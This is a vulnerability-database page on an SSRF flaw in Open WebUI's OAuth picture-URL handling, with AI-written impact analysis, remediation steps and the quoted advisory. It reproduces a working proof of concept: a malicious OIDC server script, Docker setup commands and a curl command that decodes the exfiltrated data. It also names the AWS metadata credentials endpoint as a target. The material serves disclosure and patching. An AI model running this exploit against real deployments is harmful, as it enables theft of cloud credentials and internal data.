Skip to main content

Open WebUI CVE-2026-45338

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-14 https://github.com/open-webui/open-webui GHSA-24c9-2m8q-qhmh
7.7
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Setup malicious OIDC provider
  2. Delivery
    User authenticates via OAuth
  3. Exploit
    Malicious userinfo response with internal URL in 'picture' claim
  4. Install
    Server fetches internal endpoint without validation
  5. C2
    Response base64-encoded and stored in database
  6. Execute
    Attacker retrieves own profile via API
  7. Impact
    Decode exfiltrated data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires Open WebUI deployment with OAuth/OIDC authentication configured AND either ENABLE_OAUTH_SIGNUP=true (for new user registration path) OR OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for existing user picture refresh path). Attacker must control or compromise the configured OAuth identity provider to inject malicious 'picture' claim URLs in the OIDC userinfo response. Network-based exploitation (AV:N) is possible because OAuth flows are inherently network-accessible. Low attack complexity (AC:L) - no race conditions or cryptographic bypasses required, just standard OIDC flow manipulation. Low privileges required (PR:L) - attacker needs ability to authenticate via the malicious OAuth provider, which is trivial if they control it. No user interaction needed (UI:N) beyond normal login flow. Exploitation is NOT possible against: (1) deployments using local authentication only without OAuth, (2) OAuth deployments with both picture-processing flags set to false, (3) environments where OAuth provider configuration is locked to trusted identity providers only. Limiting factors: attacker needs OAuth provider control (either setup malicious provider or compromise existing integration), and target server must have network access to valuable internal endpoints (cloud metadata, Redis, internal APIs) for meaningful impact.

Impact

Real-world risk is MODERATE-HIGH for OAuth-enabled deployments but LIMITED in scope. CVSS 7.7 (HIGH) with vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N accurately reflects the technical severity - network-accessible, low complexity, scope change (accessing resources outside the application's normal boundary), and high confidentiality impact through data exfiltration. However, PR:L (low privileges required) means attackers need valid OAuth authentication, and exploitation depends on non-default configurations (ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true). No CISA KEV listing suggests targeted rather than widespread exploitation. The GitHub advisory includes a complete proof-of-concept with minimal OIDC server code, lowering the technical barrier for exploitation. Primary risk scenarios: (1) Cloud deployments exposing AWS IMDSv1 at 169.254.169.254 for credential theft, (2) Kubernetes environments with internal service mesh endpoints, (3) Docker deployments with --add-host configurations exposing host services. The Changed Scope metric is critical here - this isn't just reading application data, but accessing infrastructure the application has network access to. Deployments NOT using OAuth or using OAuth without picture-update features face zero risk. SSVC framework assessment: Exploitation=POC (public code available), Automatable=No (requires OAuth provider control), Technical Impact=Total (full credential/data read from targeted endpoints) - priority depends heavily on deployment architecture and OAuth usage patterns.

Exploit ScenarioDerived

An attacker sets up a malicious OIDC provider (or compromises an existing OAuth integration) that returns a crafted 'picture' claim URL pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role during the OpenID Connect userinfo response. When a user authenticates via the 'Continue with OAuth' flow on an Open WebUI instance with ENABLE_OAUTH_SIGNUP=true, the server's _process_picture_url() function fetches the AWS metadata endpoint, base64-encodes the IAM credentials JSON response, and stores it in the database as the user's profile_image_url. The attacker retrieves their own profile via the /api/v1/auths/ endpoint, decodes the base64 data, and obtains valid AWS credentials with the server's IAM role permissions, enabling full AWS account compromise. Complete proof-of-concept code is publicly available in GitHub advisory GHSA-24c9-2m8q-qhmh.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Server-Side Request Forgery (SSRF) in Open WebUI versions ≤0.8.12 allows authenticated users with OAuth access to force the server to make HTTP requests to arbitrary internal resources and exfiltrate complete response data. Exploitation requires OAuth-enabled deployments with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true. An attacker controls the OAuth provider's 'picture' claim URL, triggering server-side HTTP requests to cloud metadata services (AWS IMDS), localhost services (Redis, Elasticsearch), or internal network endpoints. The full response is base64-encoded and stored in the user's profile_image_url field, enabling complete data exfiltration. Fixed in version 0.9.0 per GitHub advisory GHSA-24c9-2m8q-qhmh. EPSS data not available; no CISA KEV listing indicates limited widespread exploitation, though publicly available proof-of-concept exists in the GitHub advisory.

RemediationAI

Upgrade to Open WebUI version 0.9.0 or later immediately per the vendor advisory at https://github.com/open-webui/open-webui/releases/tag/v0.9.0, which applies the validate_url() security control to _process_picture_url() consistent with existing SSRF protections elsewhere in the codebase. For deployments unable to upgrade immediately, implement compensating controls: (1) Disable OAuth picture processing by setting OAUTH_UPDATE_PICTURE_ON_LOGIN=false and ENABLE_OAUTH_SIGNUP=false, which blocks both exploitation paths but disables OAuth-based user onboarding - acceptable for existing-user-only environments but breaks new user workflows. (2) Deploy network segmentation to block Open WebUI containers from accessing cloud metadata endpoints (169.254.169.254/32) and internal service networks via firewall rules or Kubernetes NetworkPolicies - reduces blast radius but does not prevent localhost exploitation and requires infrastructure changes. (3) If using AWS, enforce IMDSv2 (requires token headers) instead of IMDSv1 to prevent simple GET-based credential theft - mitigates cloud metadata risk only, not general SSRF. (4) Restrict OAuth provider configuration to trusted identity providers only and audit existing OIDC integrations for compromise - operational overhead and doesn't prevent insider threats. The upgrade to 0.9.0 is the only complete mitigation; workarounds significantly degrade OAuth functionality or require complex infrastructure changes.

Affected Packages

pypi open-webui fix: 0.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the _process_picture_url() function in backend/open_webui/utils/oauth.py around line 1338, which processes OAuth profile picture URLs during OIDC authentication flows. The function uses aiohttp.ClientSession to fetch arbitrary URLs from OAuth 'picture' claims without applying the validate_url() security control that the codebase uses consistently in other URL-fetching code paths (files.py:38, images.py:800). This CWE-918 (Server-Side Request Forgery) flaw allows attackers to exploit the OAuth trust boundary - the server trusts that OAuth provider responses are safe, but an attacker controlling a malicious OAuth provider can inject URLs pointing to internal infrastructure. The affected package is pip/open-webui, deployed commonly via Docker containers with --add-host configurations that expose host.docker.internal to container workloads. The Python aiohttp library's trust_env=True setting respects proxy configurations, potentially expanding attack surface. The response is base64-encoded and stored in the database, creating a full-read SSRF channel rather than a blind attack.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionGitHub Advisory

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

python
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
# No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

python
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

bash
python3 poc_oidc.py

3. Start Open WebUI with Docker:

bash
docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

bash
curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:

  • Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
  • Internal network services not exposed to the internet
  • Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

python
from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)
# Add this line
# ... rest unchanged

Executive ViewAI

Why It Matters

Open WebUI versions 0.8.12 and earlier contain an authenticated Server-Side Request Forgery vulnerability that allows attackers with OAuth access to exfiltrate sensitive data from internal systems, cloud metadata services, and network resources. Organizations running vulnerable versions with OAuth enabled face risk of credential exposure, internal service reconnaissance, and lateral movement capabilities for authenticated adversaries.

Business Impact: High
Compensating Controls

If upgrade to version 0.9.0 is not immediately available: (1) Disable ENABLE_OAUTH_SIGNUP and OAUTH_UPDATE_PICTURE_ON_LOGIN in Open WebUI configuration to prevent exploitation vector; (2) Implement network firewall rules blocking outbound HTTP/HTTPS from Open WebUI server to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254 for AWS IMDS); (3) Monitor and restrict OAuth provider picture claim URLs to trusted external sources only; (4) Enable request logging and alerting on unexpected HTTP requests from the Open WebUI process.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)GitHub Advisory

pkg:pip/open-webui

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy